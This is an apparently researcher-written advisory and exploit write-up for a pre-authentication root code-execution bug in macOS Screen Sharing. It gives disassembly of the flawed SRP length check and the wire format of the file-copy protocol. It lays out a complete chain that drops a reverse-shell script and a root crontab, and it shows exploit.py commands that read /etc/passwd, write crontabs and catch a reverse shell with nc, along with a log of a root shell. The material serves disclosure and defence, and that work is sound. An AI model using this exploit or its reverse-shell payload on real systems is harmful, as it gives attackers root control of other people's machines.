Apple's Screen Sharing daemon (screensharingd) contains a
pre-authentication vulnerability in its SRP (Secure Remote Password)
frame-length validation. When the daemon receives an SRP frame whose
big-endian 32-bit length has any bit at position ⥠15 set
(i.e., length ⥠32768), the "frame too large" error path returns the
stale success status from the preceding 4-byte read instead of
an error code. The caller interprets this zero return as
"authentication complete" and enters the post-auth message loop
without any key exchange, cipher negotiation, or session crypto.

The remaining bytes in the network buffer are then consumed as ordinary
RFB messages â including Apple's proprietary file-copy protocol
(message type 0x22), which runs as root and provides
arbitrary file read and write. By injecting a reverse shell payload and
a root crontab in a single pipelined connection, an unauthenticated
attacker achieves remote code execution as root within 60 seconds.

No user interaction is required. The only prerequisite is that
Screen Sharing is enabled on the target (System Settings â General â
Sharing â Screen Sharing). No password, no valid username, and no
knowledge of the target configuration is needed.

| Software | macOS Screen Sharing ( screensharingd) |
|---|---|
| Vulnerable | macOS ⤠26.5(Tahoe) â all versions with SRP security type 36 |
| Fixed in | macOS 26.6 (2026-07-27) |
| Component | screensharingdSRP frame reader at offset+0xc90in the auth handler |
| Protocol | Apple Screen Sharing (RFB 003.889), security type 36 |
| Auth required | Noneâ pre-authentication |
| Result | Root file read/write â arbitrary code execution as root |
| Confirmed on | Mac mini M4 (Mac16,10), macOS 26.3 build 25D2128, arm64 |

The SRP auth handler in screensharingd reads a 4-byte big-endian
frame length from the network buffer, then validates it:

NetBufferRead(buf, 4, &len) // returns 0 on success â x0 = 0 rev w22, w8 // w22 = be32 frame length lsr w8, w22, #0xf // w8 = length >> 15 cbz w8, parse_frame // if length < 32768 â parse normally mov x21, x0 // BUG: x0 is still 0 (read success) b return // returns 0 = "authenticated"

The mov x21, x0 on the "frame too large" path captures the
return value of the 4-byte read (zero = success), not an error
code. The function returns this zero to its caller, which interprets
it as "SRP authentication complete":

bl srp_auth_handler // returns x21 = 0 (the bug) cbnz w0, continue_or_fail // w0 = 0 â falls through // ... authentication "succeeded" ... strb w8(=1), [session, #0x93] // session->authenticated = 1 bl write_security_result // sends SecurityResult = 0 (OK) bl send_server_init // sends ServerInit (resolution, name) // enters the main RFB message loop

The entire SRP state machine â ccsrp_server_generate_public_key,
ccsrp_server_compute_session, ccsrp_server_verify_session â is
never reached. No key is derived, no proof is verified, no
ChaCha20-Poly1305 session layer is installed. The connection proceeds
in cleartext.

After the auth bypass, the remaining bytes in the network buffer are
processed by the server's RFB message loop. Apple's file-copy protocol
(message type 0x22, dispatched via jump table entry 34) provides:

StartFileSend (kind=1) returns the full contents of any file on the filesystemStartFileReceive (kind=2) writes files with attacker-controlled content, path, filename, mode, and permissions0x00045FA6
(a be32 with bit 18 set). All pipelined in one TCP burst.StartFileReceive (kind=2) transaction
with session ID 2, writing a Python3 reverse shell script to
/var/tmp/.r (mode 755).
StartFileReceive transaction (session ID 3) writes
* * * * * /bin/bash /var/tmp/.r to
/var/at/tabs/root (mode 600). Cron requires mode 600 â
it silently ignores world-readable crontabs.
cron (enabled by default on macOS, PID
always running) picks up the new crontab and executes the payload.
/usr/bin/perl (signed by Apple, ships with base macOS â no
Xcode required) connects back to the attacker with a shell as root.
The payload self-deletes both files after execution.
Single-connection exploit against a Mac mini M4 running macOS 26.3, Screen Sharing enabled, no SSH, default configuration:

$ python3 exploit.py exec -u root 192.168.1.153 192.168.1.4 4444 __ _____/ / __ ____ / __/___ ____ / ___/ / / / / __ \ / // __ \/ __ \ ( ) / // / // / / / // / // / /_//____/ .___()/ ____/____/ // 𤡠navi_the_clown // pre-auth screensharing RCE [] attempt 10/20 connection closed (got 0/4) [+] authenticated â 3440x1440 "user's Mac mini" [+] payload + crontab written in single connection [] listening on 192.168.1.4:4444, shell within 60s... [+] shell from 192.168.1.153 uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),... bash-3.2# hostname pwnm1.local bash-3.2# sw_vers ProductName: macOS ProductVersion: 26.4.1 BuildVersion: 25E253

Apple's Screen Sharing protocol (RFB 003.889, security type 36) negotiates a ChaCha20-Poly1305 session layer with SALTED-SHA512-PBKDF2 key derivation, keyed from the SRP shared secret. The server advertises this in the SRP challenge:

mda=SHA-512,replay_detection,conf+int=ChaCha20-Poly1305,kdf=SALTED-SHA512-PBKDF2

Both screensharingd and the client framework
(ScreenSharing.framework) implement this layer â the daemon imports
_chacha20_poly1305_init_64x64 and installs send/receive crypto
contexts at session offsets +0x178/+0x278 after
ccsrp_server_verify_session succeeds.

None of this happens. The frame-length bypass returns before
srp_server_mech_step is ever called â no SRP parameters are
exchanged, no session key is derived, no cipher is installed.
The entire connection operates in cleartext, and the server's
file-copy handler (ServerProcessFileCopyCmd) runs with full root
privileges with no authentication gate.

Independent of the frame-length bypass, screensharingd contains a
second weakness in its SRP validation. The server checks the client's
public value A with:

ccz_cmpi(A, 0) // corecrypto bignum compare-immediate cmp w0, #0 b.le reject // "Illegal value for 'A'"

This rejects A == 0 but does not reject A â¡ 0 (mod N).
RFC 5054 §2.5.4 requires the server to abort if A mod N == 0,
because such values force the shared secret S to zero regardless
of the password. Sending A = N (the prime itself) would bypass
password verification.

This bug is not used by our exploit â the frame-length bypass is
simpler and more reliable. But it is a real, independently exploitable
weakness in Apple's corecrypto-backed SRP implementation.

The Apple file-copy protocol uses message type 0x22 with uniform
framing:

[u8 0x22][u8 sub][be32 L] 6-byte frame [be16 ver][be16 kind][be32 sid][be32 arg] 12-byte header [L-12 bytes payload]

| kind | name | payload |
|---|---|---|
| 100 | stat | file size (be32 at +8), block size, counts |
| 101 | attributes | mode, timestamps, filename |
| 102 | data | file content (max 65536 per message) |
| 104 | end | â |

Same framing. The server's default handler (kind > 5) pipes messages
to SSFileCopyReceiver, which creates files via FSCreateFileUnicode
and writes data via FSWriteFork.

Critical fields in the NewItem (kind=101) message:

arg field, first byte): typeOfItem â must be 0x01 for a regular filecron silently ignores crontabs that are world-readable
Update to macOS 26.6 or disable Screen Sharing (System Settings
â General â Sharing â Screen Sharing â off).

The fix in macOS 26.6 adds proper error propagation on the frame-length validation path â the "too large" branch now returns a non-zero error code instead of the stale read status.

Read a remote file python3 exploit.py read -u root TARGET /etc/passwd -o passwd.txt # Write a file (with mode control for crontabs) echo "pwned" | python3 exploit.py write -u root TARGET /tmp/pwned - python3 exploit.py write -u root TARGET /var/at/tabs/root crontab.txt -m 0600 # Single-shot RCE: writes payload + crontab, catches the reverse shell python3 exploit.py exec -u root TARGET LHOST LPORT # then on your box: nc -nlvp LPORT

The exec command writes both files in a single auth-bypassed
connection
(two file-copy transactions with different session IDs
packed into one blob), starts a local listener, and drops into an
interactive PTY shell when cron fires the payload (⤠60 seconds).

The exploit is heap-layout dependent â the auth bypass triggers on roughly 1 in 5â15 attempts. The default retry count is 20.

| 2026-07-31 | Binary ( navi_the_clown) obtained and deobfuscated (garble -tiny -literals + controlflow) |
| 2026-07-31 | Wire format recovered byte-for-byte from packet captures |
| 2026-08-01 | Auth bypass root cause identified in screensharingd(frame-length validation) |
| 2026-08-01 | File read/write primitives confirmed against live target |
| 2026-08-01 | RCE achieved via crontab injection (root reverse shell, single connection) |